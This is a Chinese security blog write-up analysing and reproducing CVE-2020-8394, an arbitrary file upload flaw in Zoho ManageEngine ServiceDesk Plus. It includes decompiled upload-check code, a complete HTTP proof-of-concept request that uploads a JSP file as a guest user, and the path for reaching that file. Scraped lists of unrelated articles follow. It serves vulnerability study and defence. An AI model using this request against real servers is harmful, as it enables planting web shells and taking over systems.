聚焦源代码安全,网罗国内外最新资讯!

前言

最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户信息遭越权访问,且红队工具被盗。虽然目前尚不清楚这些红队工具将被如何处置,但FireEye 公司在 GitHub 上发布了一些应对措施。奇安信代码安全实验室将从技术角度,对 GitHub 仓库中的相关漏洞进行分析复现,希望能给读者带来一些启发,做好防御措施。

漏洞简介

Zoho企业的产品 Zoho ManageEngine ServiceDesk Plus 是一套IT互联网服务管理软件,拥有资产管理、采购管理、合同管理等功能模块,提供一流的IT支持服务。

ServiceDesk Plus10.0 build 10012之前的版本产品存在任意文件上传漏洞。具体来说,SDJSPClasses.jar包的FileAttachment_jsp.class仅检查module参数为“SSP”、“DashBoard”、“HomePage”时的上传文件类型,而未检查module参数为“CustomLogin”时的上传文件类型,导致恶意分子采用低权限guest用户即能上传、并任意访问jsp类可执行命令的脚本文件。

受影响产品

Zohocorp ManageEngine ServiceDesk Plus

受影响版本

9.4 and 10.0 before 10.0 build 10012

修复版本

version>=10.0 build 10013

漏洞验证环境

  • Ubuntu16.04(服务器)

  • Windows 10(攻击机)

漏洞分析与利用

分析文件上传逻辑,确定缺陷位置并上传文件。

第一步,在服务端安装 Zohocorp ManageEngine ServiceDesk Plus 10.0 build 10000,随后启动服务,下图表示启动成功。

第二步,在攻击机中,采用 Burp Suite 捕获低权限guest用户的cookie信息和数据包,以便开展后续POC的构建工作,如下。

第三步,分析服务端文件上传核心代码打开\ManageEngine\ServiceDesk\lib\SDJSPClasses.jar! \org\apache\jsp\common\FileAttachment_jsp.class,核心的文件上传检测代码和注释信息如下。

    if (sizeOfFile < maxSize) {limitExceeded = false;filePath = "Attachments" + filSep + module + filSep + value;
//                                            如果module参数是"CustomLogin",则直接将文件上传至路径"../custom/login"if (module.equals("CustomLogin")) {filePath = ".." + filSep + "custom" + filSep + "login";}File uploadedFile = new File(filePath + filSep + fileName);
//                                            如果module参数是"SSP"、"DashBoard"、"HomePage",则检查文件后缀是否是“htm”或“html”,如不是,则拒绝上传if (module.equals("SSP") || module.equals("DashBoard") || module.equals("HomePage")) {String ext = "";int i = fileName.lastIndexOf(46);if (i > 0) {ext = fileName.substring(i + 1);if (!ext.equals("htm") && !ext.equals("html")) {out.write("\n         <li id='sspattachresponse'>ssp.widget.onAttachEmpty</li>");out.write("\n      ");return;}filSep = "/";filePath = ".." + filSep + "custom" + filSep + "widgets" + filSep + module;if (module.equals("DashBoard")) {String view = request.getParameter("view");filePath = ".." + filSep + "custom" + filSep + "widgets" + filSep + module + filSep + view;}uploadedFile = new File(filePath + filSep + fileName);int attIndex = false;int attIndex = fileName.lastIndexOf(".");String name = fileName;ext = "";if (attIndex != -1) {name = fileName.substring(0, attIndex);ext = fileName.substring(attIndex);}int j = 0;String fileName1;for(fileName1 = fileName; uploadedFile.exists(); uploadedFile = new File(filePath + filSep + fileName1)) {fileName1 = name + "(" + j + ")" + ext;++j;}fileName = fileName1;}}File mkdir = new File(filePath);mkdir.mkdirs();item.wri

分析可知,服务器首先判断module参数是否为“CustomLogin”,如是,则可直接上传任意类型的文件至服务端,程序执行完毕;否则继续执行代码,进入 module 参数属于 "SSP"、"DashBoard"、"HomePage" 的判别过程。如果module 参数为 "SSP"、"DashBoard" 或 "HomePage",则进行安全过滤仅可上传 “htm”、“html” 类型文件至服务端。因此,当 module 参数是 “CustomLogin” 时,可以上传 jsp 脚本文件。

第四步,构造 PoC在 Burpsuite 中,构造数据包如下。

POST /common/FileAttachment.jsp?module=CustomLogin&view=Dashboard1 HTTP/1.1Host: 192.168.6.135:8081Content-Length: 366Accept: */*Origin: http://192.168.6.135:8081X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Content-Type: multipart/form-data; boundary=----aaaReferer: http://192.168.6.135:8081/DashBoard.doAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9,vi;q=0.8Cookie: sdpcsrfcookie=bd678a1d-28b9-4eae-9d5d-f3a7e6f0bd88; servicedeskplus-_zldp=LsfUh%2FKeku9L3s3nPEJp8WNr%2BtCatkARgcAlZRum6ctL03zZZshSooiaABpQbhelmKwM1K1ctjo%3D; servicedeskplus-_zldt=01bc454f-6f2a-492e-889a-6d6b6ffde97d-2; SDPSESSIONID=B7BB216915E8FB5476DA8774161B9474; JSESSIONID=A7BEE85ED00E1AD81BB9E8081BA49D7D; JSESSIONIDSSO=601A38BD1F283CA55D289D78564E09CAConnection: close------aaaContent-Disposition: form-data; name="sspsetup"Attach------aaaContent-Disposition: form-data; name="module"CustomLogin------aaaContent-Disposition: form-data; name="filePath"; filename="test.jsp"Content-Type: text/htmlThis is shell content------aaaContent-Disposition: form-data; name="hmtlcontent"------aaa--

分析可知,访问拥有文件上传功能的核心代码,设置 module 参数为 “CustomLogin”,在内容栏设置test.jsp文件的内容是 “This is shell content”。

第五步,访问脚本文件重新启动服务后,直接访问脚本文件。例如http://192.168.6.135:8081/custom/login/test.jsp,如下。

观察可知,成功访问脚本文件,说明任意文件上传成功。

总结

本文分析Zoho ManageEngine的任意文件上传漏洞,作者认为此漏洞由未过滤上传文件类型造成,使脚本文件被上传并利用;学习人员应提升java web知识,以顺利分析并利用输入参数的过滤缺陷。

参考文献

  • Index of /service-desk/10000

    http://archives.manageengine.com/service-desk/10000/

  • 手册

    https://www.manageengine.cn/products/service-desk/help/adminguide/introduction/start-servicedeskplus-server.html

  • Zoho ManageEngine ServiceDesk Plus (SDP) < 10.0 build 10012 - Arbitrary File Upload - JSP webapps Exploit

    https://www.exploit-db.com/exploits/46413

# 关于 FireEye 红队失窃工具的漏洞分析系列文章暂告一段落,我们会随时关注相关漏洞的进展,敬请关注~


推荐阅读

FireEye红队失窃工具大揭秘之:分析复现Zoho ManageEngine RCE (CVE-2020-10189)

FireEye 红队失窃工具大揭秘之:分析复现 Confluence路径穿越漏洞 (CVE-2019-3398)

FireEye 红队失窃工具大揭秘之:分析复现 Atlassian RCE (CVE-2019-11580)

FireEye事件新动态:APT 攻击 SolarWinds 全球供应链(详解)

请君入瓮:火眼自称遭某 APT 国家黑客组织攻击

企业软件开发商 Atlassian 紧急修复不慎泄露的0day,IBM Aspera 软件或受影响

Apache Commons Collections反序列化漏洞分析与复现

题图:Pixabay License

转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的

产品线。

 觉得不错,就点个 “在看” 或 "赞” 吧~

FireEye 红队失窃工具大揭秘之:分析复现 Zoho 任意文件上传漏洞(CVE-2020-8394)相关推荐

  1. FireEye 红队失窃工具大揭秘之:分析复现SolarWinds RCE 0day (CVE-2020-10148)

     聚焦源代码安全,网罗国内外最新资讯! 前言 最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户信息遭越权访问,且红队工具被盗.虽然目前尚不清楚这些红队工具将被如 ...

  2. FireEye红队失窃工具大揭秘之:分析复现Zoho ManageEngine RCE (CVE-2020-10189)

     聚焦源代码安全,网罗国内外最新资讯! 前言 最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户信息遭越权访问,且红队工具被盗.虽然目前尚不清楚这些红队工具将被如 ...

  3. FireEye 红队失窃工具大揭秘之:分析复现 Confluence路径穿越漏洞 (CVE-2019-3398)

     聚焦源代码安全,网罗国内外最新资讯! 前言 最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户信息遭越权访问,且红队工具被盗.虽然目前尚不清楚这些红队工具将被如 ...

  4. FireEye 红队失窃工具大揭秘之:分析复现 Atlassian RCE (CVE-2019-11580)

     聚焦源代码安全,网罗国内外最新资讯! 前言 最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户信息遭越权访问,且红队工具被盗.虽然目前尚不清楚这些红队工具将被如 ...

  5. 上传文件白名单_十大常见web漏洞——文件上传漏洞

    漏洞介绍 在我们浏览网页时,文件上传是非常常见的,比如我们会上传头像.附件.视频等文件,文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严造成的,如果文件上传功能实现代码没有严格限制用户上传的文 ...

  6. 上传txt生成字典 java_文件上传漏洞fuzz字典生成脚本小工具分享

    前言 学习xss的时候翻阅资料发现了一个文件上传漏洞fuzz字典生成脚本小工具,试了试还不错,分享一下 配置 需要python2环境 使用方法 $ python upload-fuzz-dic-bui ...

  7. FUSE挖掘文件上传漏洞(工具介绍)

    FUSE 简介 FUSE是一款强大的渗透测试工具,可以帮助测试人员在最短时间内找到目标软件系统中存在的文件上传漏洞 FUSE本质上是一个渗透测试系统,主要功能就是识别无限制可执行文件上传(UEFU)漏 ...

  8. 大数据WE阶段(十七)文件上传

    文件上传 一.概述 在web开发中经常需要从客户端向服务端上传文件 , 如: 照片 . 文件 , 这些通常都需要web开发中的文件上传技术实现. 二. 文件上传开发步骤 提供一个带有文件上传项的表单 ...

  9. [极客大挑战 2019]Upload(菜刀连接文件上传出现: HTTP/1.1 200 OK)

    菜刀连接文件上传出现: HTTP/1.1 200 OK Server: openresty Date: Mon, 06 Apr 2020 08:42:03 GMT Content-Type: text ...

最新文章

  1. linux samba免密码,Ubuntu如何不用密码访问samba服务器
  2. 1过程流程图 3 apqp_如何绘制流程图?这里有3种绘制方法,既简单又高效!1分钟可学会...
  3. thinkphp验证码功能
  4. 利用UDEV服务解决RAC ASM存储设备名
  5. json在线解析工具大集合
  6. openwrt 19 overlay 空间不足_【邯郸】2020年度市级科技企业孵化器和众创空间拟认定名单公示...
  7. 织梦dedecms绿色高端生活家具装饰公司网站模板
  8. Modularity(模块化-CMD规范)
  9. 微服务 数据库耦合_mysql – 与其他服务共享的微服务数据库
  10. 《PHP基础教程》pdf
  11. GDB 反向调试(Reverse Debugging)
  12. opencv多通道图像转单通道
  13. vs2013 资源视图 看不到东西
  14. 关于卸载驱动精灵后蓝屏的办法
  15. power apps 里 嵌套 html
  16. 互联网金融风控模型大全
  17. 解决双击事件触发两次单击事件
  18. 15. 三数之和 (已经解决超时问题,但是依旧时间依旧不乐观)
  19. UVa11584 划分回文串
  20. upupoo php,UPUPOO动态桌面下载

热门文章

  1. ANDROID开机动画分析
  2. 整数的二进制表示中 1 的个数
  3. C#中的String类
  4. PVLAN技术初探-巧用PVLAN优化网络
  5. sql server 索引阐述系列五 索引参数与碎片
  6. NLog自定义字段写入数据库表,示例
  7. 快学Scala习题解答—第四章 映射和元组
  8. 图片上传至服务器实现压缩
  9. 正则表达式大全(汇总)
  10. bash:yum:command not found 解决办法